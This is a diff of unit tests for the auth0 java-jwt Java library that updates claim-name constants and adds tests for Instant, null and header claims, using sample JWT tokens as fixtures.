@@ -704,7 +690,7 @@ public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() thro
     }
 
     @Test
-    public void shouldRefuseCustomListClaimForUnknownArrayType() throws Exception {
+    public void shouldRefuseCustomListClaimForUnknownArrayType() {
         List<Object> list = new ArrayList<>();
         list.add(new Object[]{"test"});
 
@@ -744,7 +730,7 @@ public void withPayloadShouldCreateJwtWithEmptyBodyIfPayloadNull() {
     @Test
     public void withPayloadShouldOverwriteExistingClaimIfPayloadMapContainsTheSameKey() {
         Map<String, Object> payload = new HashMap<>();
-        payload.put(PublicClaims.KEY_ID, "xyz");
+        payload.put(HeaderParams.KEY_ID, "xyz");
 
         String jwt = JWTCreator.init()
                 .withKeyId("abc")
@@ -754,13 +740,13 @@ public void withPayloadShouldOverwriteExistingClaimIfPayloadMapContainsTheSameKe
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
         String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
-        assertThat(payloadJson, JsonMatcher.hasEntry(PublicClaims.KEY_ID, "xyz"));
+        assertThat(payloadJson, JsonMatcher.hasEntry(HeaderParams.KEY_ID, "xyz"));
     }
 
     @Test
     public void shouldOverwriteExistingPayloadWhenSettingSamePayloadKey() {
         Map<String, Object> payload = new HashMap<>();
-        payload.put(PublicClaims.ISSUER, "xyz");
+        payload.put(RegisteredClaims.ISSUER, "xyz");
 
         String jwt = JWTCreator.init()
                 .withPayload(payload)
@@ -770,34 +756,18 @@ public void shouldOverwriteExistingPayloadWhenSettingSamePayloadKey() {
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
         String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
-        assertThat(payloadJson, JsonMatcher.hasEntry(PublicClaims.ISSUER, "abc"));
-    }
-
-    @Test
-    public void shouldRemovePayloadIfTheValueIsNull() throws Exception {
-        String jwt = JWTCreator.init()
-                .withClaim("key", "stubValue")
-                .withPayload(Collections.singletonMap("key", (Map<String, ?>) null))
-                .sign(Algorithm.HMAC256("secret"));
-
-        assertThat(jwt, is(notNullValue()));
-        String[] parts = jwt.split("\\.");
-
-        String body = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
-        ObjectMapper mapper = new ObjectMapper();
-        Map<String, Object> map = (Map<String, Object>) mapper.readValue(body, Map.class);
-        assertThat(map, anEmptyMap());
+        assertThat(payloadJson, JsonMatcher.hasEntry(RegisteredClaims.ISSUER, "abc"));
     }
 
     @Test
     public void withPayloadShouldNotAllowCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String and Date");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date, Instant, and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");
         payload.put("pojo", new UserPojo("name", 42));
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withPayload(payload)
                 .sign(Algorithm.HMAC256("secret"));
     }
@@ -819,24 +789,24 @@ public void withPayloadShouldAllowNullListItems() {
     @Test
     public void withPayloadShouldNotAllowListWithCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String and Date");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date, Instant, and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("list", Arrays.asList("item1", new UserPojo("name", 42)));
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withPayload(payload)
                 .sign(Algorithm.HMAC256("secret"));
     }
 
     @Test
     public void withPayloadShouldNotAllowMapWithCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String and Date");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date, Instant, and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");
         payload.put("map", Collections.singletonMap("pojo", new UserPojo("name", 42)));
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withPayload(payload)
                 .sign(Algorithm.HMAC256("secret"));
     }
@@ -881,4 +851,93 @@ public void withPayloadShouldAllowNestedSupportedTypes() {
         assertThat(payloadJson, JsonMatcher.hasEntry("listClaim", listClaim));
         assertThat(payloadJson, JsonMatcher.hasEntry("objClaim", mapClaim));
     }
+
+    @Test
+    public void withPayloadShouldSupportNullValuesEverywhere() {
+         /*
+        JWT:
+            {
+              "listClaim": [
+                "answer to ultimate question of life",
+                42,
+                null
+              ],
+              "claim": null,
+              "listNestedClaim": [
+                1,
+                2,
+                {
+                  "nestedObjKey": null
+                }
+              ],
+              "objClaim": {
+                "nestedObjKey": null,
+                "objObjKey": {
+                  "nestedObjKey": null,
+                  "objListKey": [
+                    null,
+                    "nestedList2"
+                  ]
+                },
+                "objListKey": [
+                  null,
+                  "nestedList2"
+                ]
+              }
+            }
+         */
+
+        List<?> listClaim = Arrays.asList("answer to ultimate question of life", 42, null);
+        List<?> listNestedClaim = Arrays.asList(1, 2, Collections.singletonMap("nestedObjKey", null));
+        List<?> objListKey = Arrays.asList(null, "nestedList2");
+        HashMap<String, Object> objClaim = new HashMap<>();
+        objClaim.put("nestedObjKey", null);
+        objClaim.put("objListKey", objListKey);
+        objClaim.put("objObjKey", new HashMap<>(objClaim));
+
+
+        Map<String, Object> payload = new HashMap<>();
+        payload.put("claim", null);
+        payload.put("listClaim", listClaim);
+        payload.put("listNestedClaim", listNestedClaim);
+        payload.put("objClaim", objClaim);
+
+        String jwt = JWTCreator.init()
+                .withPayload(payload)
+                .withHeader(payload)
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+        String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
+        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
+
+        assertThat(payloadJson, JsonMatcher.hasEntry("claim", null));
+        assertThat(payloadJson, JsonMatcher.hasEntry("listClaim", listClaim));
+        assertThat(payloadJson, JsonMatcher.hasEntry("listNestedClaim", listNestedClaim));
+        assertThat(payloadJson, JsonMatcher.hasEntry("objClaim", objClaim));
+
+        assertThat(headerJson, JsonMatcher.hasEntry("claim", null));
+        assertThat(headerJson, JsonMatcher.hasEntry("listClaim", listClaim));
+        assertThat(headerJson, JsonMatcher.hasEntry("listNestedClaim", listNestedClaim));
+        assertThat(headerJson, JsonMatcher.hasEntry("objClaim", objClaim));
+    }
+
+    @Test
+    public void shouldCreatePayloadWithNullForMap() {
+        String jwt = JWTCreator.init()
+                .withClaim("name", (Map<String,?>) null)
+                .sign(Algorithm.HMAC256("secret"));
+        assertThat(jwt, is(notNullValue()));
+        assertTrue(JWT.decode(jwt).getClaim("name").isNull());
+    }
+
+    @Test
+    public void shouldCreatePayloadWithNullForList() {
+        String jwt = JWTCreator.init()
+                .withClaim("name", (List<?>) null)
+                .sign(Algorithm.HMAC256("secret"));
+        assertThat(jwt, is(notNullValue()));
+        assertTrue(JWT.decode(jwt).getClaim("name").isNull());
+    }
 }up      }(jG  (82dc895c100dd8adef89d0ecb58423b9e270398fj  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj  modifiedj  Kuj  KEj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  XM  @@ -1,20 +1,20 @@
 package com.auth0.jwt;
 
 import com.auth0.jwt.exceptions.JWTDecodeException;
-import com.auth0.jwt.impl.NullClaim;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
-import org.hamcrest.core.IsCollectionContaining;
-import org.junit.Assert;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
 import java.io.*;
 import java.nio.charset.StandardCharsets;
+import java.time.Instant;
 import java.util.Base64;
 import java.util.Date;
+import java.util.List;
 import java.util.Map;
 
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -25,37 +25,37 @@ public class JWTDecoderTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void getSubject() throws Exception {
+    public void getSubject() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ");
         assertThat(jwt.getSubject(), is(notNullValue()));
         assertThat(jwt.getSubject(), is("1234567890"));
     }
 
     // Exceptions
     @Test
-    public void shouldThrowIfTheContentIsNotProperlyEncoded() throws Exception {
+    public void shouldThrowIfTheContentIsNotProperlyEncoded() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage(startsWith("The string '"));
         exception.expectMessage(endsWith("' doesn't have a valid JSON format."));
         JWT.decode("eyJ0eXAiOiJKV1QiLCJhbGciO-corrupted.eyJ0ZXN0IjoxMjN9.sLtFC2rLAzN0-UJ13OLQX6ezNptAQzespaOGwCnpqk");
     }
 
     @Test
-    public void shouldThrowIfLessThan3Parts() throws Exception {
+    public void shouldThrowIfLessThan3Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 2.");
         JWT.decode("two.parts");
     }
 
     @Test
-    public void shouldThrowIfMoreThan3Parts() throws Exception {
+    public void shouldThrowIfMoreThan3Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 4.");
         JWT.decode("this.has.four.parts");
     }
 
     @Test
-    public void shouldThrowIfPayloadHasInvalidJSONFormat() throws Exception {
+    public void shouldThrowIfPayloadHasInvalidJSONFormat() {
         String validJson = "{}";
         String invalidJson = "}{";
         exception.expect(JWTDecodeException.class);
@@ -64,7 +64,7 @@ public void shouldThrowIfPayloadHasInvalidJSONFormat() throws Exception {
     }
 
     @Test
-    public void shouldThrowIfHeaderHasInvalidJSONFormat() throws Exception {
+    public void shouldThrowIfHeaderHasInvalidJSONFormat() {
         String validJson = "{}";
         String invalidJson = "}{";
         exception.expect(JWTDecodeException.class);
@@ -93,215 +93,234 @@ public void shouldThrowWhenPayloadNotValidBase64() {
     // Parts
 
     @Test
-    public void shouldGetStringToken() throws Exception {
+    public void shouldGetStringToken() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getToken(), is(notNullValue()));
         assertThat(jwt.getToken(), is("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ"));
     }
 
     @Test
-    public void shouldGetHeader() throws Exception {
+    public void shouldGetHeader() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getHeader(), is("eyJhbGciOiJIUzI1NiJ9"));
     }
 
     @Test
-    public void shouldGetPayload() throws Exception {
+    public void shouldGetPayload() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getPayload(), is("e30"));
     }
 
     @Test
-    public void shouldGetSignature() throws Exception {
+    public void shouldGetSignature() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getSignature(), is("XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ"));
     }
 
-    // Public PublicClaims
+    // Standard Claims
 
     @Test
-    public void shouldGetIssuer() throws Exception {
+    public void shouldGetIssuer() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJKb2huIERvZSJ9.SgXosfRR_IwCgHq5lF3tlM-JHtpucWCRSaVuoHTbWbQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getIssuer(), is("John Doe"));
     }
 
     @Test
-    public void shouldGetSubject() throws Exception {
+    public void shouldGetSubject() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJUb2szbnMifQ.RudAxkslimoOY3BLl2Ghny3BrUKu9I1ZrXzCZGDJtNs");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getSubject(), is("Tok3ns"));
     }
 
     @Test
-    public void shouldGetArrayAudience() throws Exception {
+    public void shouldGetArrayAudience() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOlsiSG9wZSIsIlRyYXZpcyIsIlNvbG9tb24iXX0.Tm4W8WnfPjlmHSmKFakdij0on2rWPETpoM7Sh0u6-S4");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(3)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Hope", "Travis", "Solomon")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Hope", "Travis", "Solomon")));
     }
 
     @Test
-    public void shouldGetStringAudience() throws Exception {
+    public void shouldGetStringAudience() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJKYWNrIFJleWVzIn0.a4I9BBhPt1OB1GW67g2P1bEHgi6zgOjGUL4LvhE9Dgc");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(1)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Jack Reyes")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Jack Reyes")));
     }
 
     @Test
-    public void shouldGetExpirationTime() throws Exception {
+    public void shouldGetExpirationTime() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzY3MjcwODZ9.L9dcPHEDQew2u9MkDCORFkfDGcSOsgoPqNY-LUMLEHg");
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(instanceOf(Date.class)));
         long ms = 1476727086L * 1000;
-        Date expectedDate = new Date(ms);
-        assertThat(jwt.getExpiresAt(), is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getExpiresAt(), is(equalTo(new Date(ms))));
+        assertThat(jwt.getExpiresAtAsInstant(), is(equalTo(Instant.ofEpochMilli(ms))));
     }
 
     @Test
-    public void shouldGetNotBefore() throws Exception {
+    public void shouldGetNotBefore() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0NzY3MjcwODZ9.tkpD3iCPQPVqjnjpDVp2bJMBAgpVCG9ZjlBuMitass0");
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(instanceOf(Date.class)));
         long ms = 1476727086L * 1000;
-        Date expectedDate = new Date(ms);
-        assertThat(jwt.getNotBefore(), is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(equalTo(expectedDate)));
+        assertThat(jwt.getNotBefore(), is(equalTo(new Date(ms))));
+        assertThat(jwt.getNotBeforeAsInstant(), is(equalTo(Instant.ofEpochMilli(ms))));
     }
 
     @Test
-    public void shouldGetIssuedAt() throws Exception {
+    public void shouldGetIssuedAt() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0NzY3MjcwODZ9.KPjGoW665E8V5_27Jugab8qSTxLk2cgquhPCBfAP0_w");
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(instanceOf(Date.class)));
         long ms = 1476727086L * 1000;
-        Date expectedDate = new Date(ms);
-        assertThat(jwt.getIssuedAt(), is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getIssuedAt(), is(equalTo(new Date(ms))));
+        assertThat(jwt.getIssuedAtAsInstant(), is(equalTo(Instant.ofEpochMilli(ms))));
     }
 
     @Test
-    public void shouldGetId() throws Exception {
+    public void shouldGetId() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIxMjM0NTY3ODkwIn0.m3zgEfVUFOd-CvL3xG5BuOWLzb0zMQZCqiVNQQOPOvA");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getId(), is("1234567890"));
     }
 
     @Test
-    public void shouldGetContentType() throws Exception {
+    public void shouldGetContentType() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsImN0eSI6ImF3ZXNvbWUifQ.e30.AIm-pJDOaAyct9qKMlN-lQieqNDqc3d4erqUZc5SHAs");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getContentType(), is("awesome"));
     }
 
     @Test
-    public void shouldGetType() throws Exception {
+    public void shouldGetType() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.e30.WdFmrzx8b9v_a-r6EHC2PTAaWywgm_8LiP8RBRhYwkI");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getType(), is("JWS"));
     }
 
     @Test
-    public void shouldGetAlgorithm() throws Exception {
+    public void shouldGetAlgorithm() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAlgorithm(), is("HS256"));
     }
 
-    //Private PublicClaims
+    // Private Claims
 
     @Test
-    public void shouldGetMissingClaimIfClaimDoesNotExist() throws Exception {
+    public void shouldGetMissingClaimIfClaimDoesNotExist() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.K17vlwhE8FCMShdl1_65jEYqsQqBOVMPUU9IgG-QlTM");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("notExisting"), is(notNullValue()));
-        assertThat(jwt.getClaim("notExisting"), is(instanceOf(NullClaim.class)));
+        assertThat(jwt.getClaim("notExisting").isMissing(), is(true));
+        assertThat(jwt.getClaim("notExisting").isNull(), is(false));
     }
 
     @Test
-    public void shouldGetValidClaim() throws Exception {
+    public void shouldGetValidClaim() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJvYmplY3QiOnsibmFtZSI6ImpvaG4ifX0.lrU1gZlOdlmTTeZwq0VI-pZx2iV46UWYd5-lCjy6-c4");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("object"), is(notNullValue()));
         assertThat(jwt.getClaim("object"), is(instanceOf(Claim.class)));
     }
 
     @Test
-    public void shouldNotGetNullClaimIfClaimIsEmptyObject() throws Exception {
+    public void shouldNotGetNullClaimIfClaimIsEmptyObject() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJvYmplY3QiOnt9fQ.d3nUeeL_69QsrHL0ZWij612LHEQxD8EZg1rNoY3a4aI");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("object"), is(notNullValue()));
         assertThat(jwt.getClaim("object").isNull(), is(false));
     }
 
     @Test
-    public void shouldGetCustomClaimOfTypeInteger() throws Exception {
+    public void shouldGetCustomClaimOfTypeInteger() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxMjN9.XZAudnA7h3_Al5kJydzLjw6RzZC3Q6OvnLEYlhNW7HA";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asInt(), is(123));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asInt(), is(123));
     }
 
     @Test
-    public void shouldGetCustomClaimOfTypeDouble() throws Exception {
+    public void shouldGetCustomClaimOfTypeDouble() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoyMy40NX0.7pyX2OmEGaU9q15T8bGFqRm-d3RVTYnqmZNZtxMKSlA";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asDouble(), is(23.45));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asDouble(), is(23.45));
     }
 
     @Test
-    public void shouldGetCustomClaimOfTypeBoolean() throws Exception {
+    public void shouldGetCustomClaimOfTypeBoolean() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjp0cnVlfQ.FwQ8VfsZNRqBa9PXMinSIQplfLU4-rkCLfIlTLg_MV0";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asBoolean(), is(true));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asBoolean(), is(true));
     }
 
     @Test
-    public void shouldGetCustomClaimOfTypeDate() throws Exception {
+    public void shouldGetCustomClaimOfTypeDate() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
         Date date = new Date(1478891521000L);
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asDate().getTime(), is(date.getTime()));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asDate().getTime(), is(date.getTime()));
+    }
+
+    @Test
+    public void shouldGetCustomClaimOfTypeInstant() {
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
+        Instant instant = Instant.ofEpochSecond(1478891521L);
+        DecodedJWT jwt = JWT.decode(token);
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asInstant(), is(equalTo(instant)));
     }
 
     @Test
-    public void shouldGetCustomArrayClaimOfTypeString() throws Exception {
+    public void shouldGetCustomArrayClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbInRleHQiLCIxMjMiLCJ0cnVlIl19.lxM8EcmK1uSZRAPd0HUhXGZJdauRmZmLjoeqz4J9yAA";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asArray(String.class), arrayContaining("text", "123", "true"));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asArray(String.class), arrayContaining("text", "123", "true"));
     }
 
     @Test
-    public void shouldGetCustomArrayClaimOfTypeInteger() throws Exception {
+    public void shouldGetCustomArrayClaimOfTypeInteger() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSwyLDNdfQ.UEuMKRQYrzKAiPpPLhIVawWkKWA1zj0_GderrWUIyFE";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asArray(Integer.class), arrayContaining(1, 2, 3));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asArray(Integer.class), arrayContaining(1, 2, 3));
     }
 
     @Test
-    public void shouldGetCustomMapClaim() throws Exception {
-        String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjp7InN0cmluZyI6InZhbHVlIiwibnVtYmVyIjoxLCJib29sZWFuIjp0cnVlfX0.-8aIaXd2-rp1lLuDEQmCeisCBX9X_zbqdPn2llGxNoc";
+    public void shouldGetCustomMapClaim() {
+        String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjp7InN0cmluZyI6InZhbHVlIiwibnVtYmVyIjoxLCJib29sZWFuIjp0cnVlLCJlbXB0eSI6bnVsbH19.6xkCuYZnu4RA0xZSxlYSYAqzy9JDWsDtIWqSCUZlPt8";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
+        assertThat(jwt, is(notNullValue()));
         Map<String, Object> map = jwt.getClaim("name").asMap();
-        Assert.assertThat(map, hasEntry("string", (Object) "value"));
-        Assert.assertThat(map, hasEntry("number", (Object) 1));
-        Assert.assertThat(map, hasEntry("boolean", (Object) true));
+        assertThat(map, hasEntry("string", "value"));
+        assertThat(map, hasEntry("number", 1));
+        assertThat(map, hasEntry("boolean", true));
+        assertThat(map, hasEntry("empty", null));
+    }
+
+    @Test
+    public void shouldGetCustomNullClaim() {
+        String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpudWxsfQ.X4ALHe7uYqEcXWFBnwBUNRKwmwrtDEGZ2aynRYYUx8c";
+        DecodedJWT jwt = JWT.decode(token);
+        assertThat(jwt.getClaim("name").isNull(), is(true));
+    }
+
+    @Test
+    public void shouldGetListClaim() {
+        String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbbnVsbCwiaGVsbG8iXX0.SpcuQRBGdTV0ofHdxBSnhWEUsQi89noZUXin2Thwb70";
+        DecodedJWT jwt = JWT.decode(token);
+        assertThat(jwt.getClaim("name").asList(String.class), contains(null, "hello"));
     }
 
     @Test
-    public void shouldGetAvailableClaims() throws Exception {
+    public void shouldGetAvailableClaims() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjEyMzQ1Njc4OTAsImlhdCI6MTIzNDU2Nzg5MCwibmJmIjoxMjM0NTY3ODkwLCJqdGkiOiJodHRwczovL2p3dC5pby8iLCJhdWQiOiJodHRwczovL2RvbWFpbi5hdXRoMC5jb20iLCJzdWIiOiJsb2dpbiIsImlzcyI6ImF1dGgwIiwiZXh0cmFDbGFpbSI6IkpvaG4gRG9lIn0.2_0nxDPJwOk64U5V5V9pt8U92jTPJbGsHYQ35HYhbdE");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaims(), is(notNullValue()));
@@ -344,6 +363,35 @@ public void shouldSerializeAndDeserialize() throws Exception {
                 is(equalTo(deserializedJwt.getClaims().get("extraClaim").asString())));
     }
 
+    @Test
+    public void shouldDecodeHeaderClaims() {
+        String jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImRhdGUiOjE2NDczNTgzMjUsInN0cmluZyI6InN0cmluZyIsImJvb2wiOnRydWUsImRvdWJsZSI6MTIzLjEyMywibGlzdCI6WzE2NDczNTgzMjVdLCJtYXAiOnsiZGF0ZSI6MTY0NzM1ODMyNSwiaW5zdGFudCI6MTY0NzM1ODMyNX0sImludCI6NDIsImxvbmciOjQyMDAwMDAwMDAsImluc3RhbnQiOjE2NDczNTgzMjV9.eyJpYXQiOjE2NDczNjA4ODF9.S2nZDM03ZDvLMeJLWOIqWZ9kmYHZUueyQiIZCCjYNL8";
+
+        Instant expectedInstant = Instant.ofEpochSecond(1647358325);
+        Date expectedDate = Date.from(expectedInstant);
+
+        DecodedJWT decoded = JWT.decode(jwt);
+        assertThat(decoded, is(notNullValue()));
+        assertThat(decoded.getHeaderClaim("date").asDate(), is(expectedDate));
+        assertThat(decoded.getHeaderClaim("instant").asInstant(), is(expectedInstant));
+        assertThat(decoded.getHeaderClaim("string").asString(), is("string"));
+        assertThat(decoded.getHeaderClaim("bool").asBoolean(), is(true));
+        assertThat(decoded.getHeaderClaim("double").asDouble(), is(123.123));
+        assertThat(decoded.getHeaderClaim("int").asInt(), is(42));
+        assertThat(decoded.getHeaderClaim("long").asLong(), is(4200000000L));
+
+        Map<String, Object> headerMap = decoded.getHeaderClaim("map").asMap();
+        assertThat(headerMap, is(notNullValue()));
+        assertThat(headerMap.size(), is(2));
+        assertThat(headerMap, hasEntry("date", 1647358325));
+        assertThat(headerMap, hasEntry("instant", 1647358325));
+
+        List<Object> headerList = decoded.getHeaderClaim("list").asList(Object.class);
+        assertThat(headerList, is(notNullValue()));
+        assertThat(headerList.size(), is(1));
+        assertThat(headerList, contains(1647358325));
+    }
+
     //Helper Methods
 
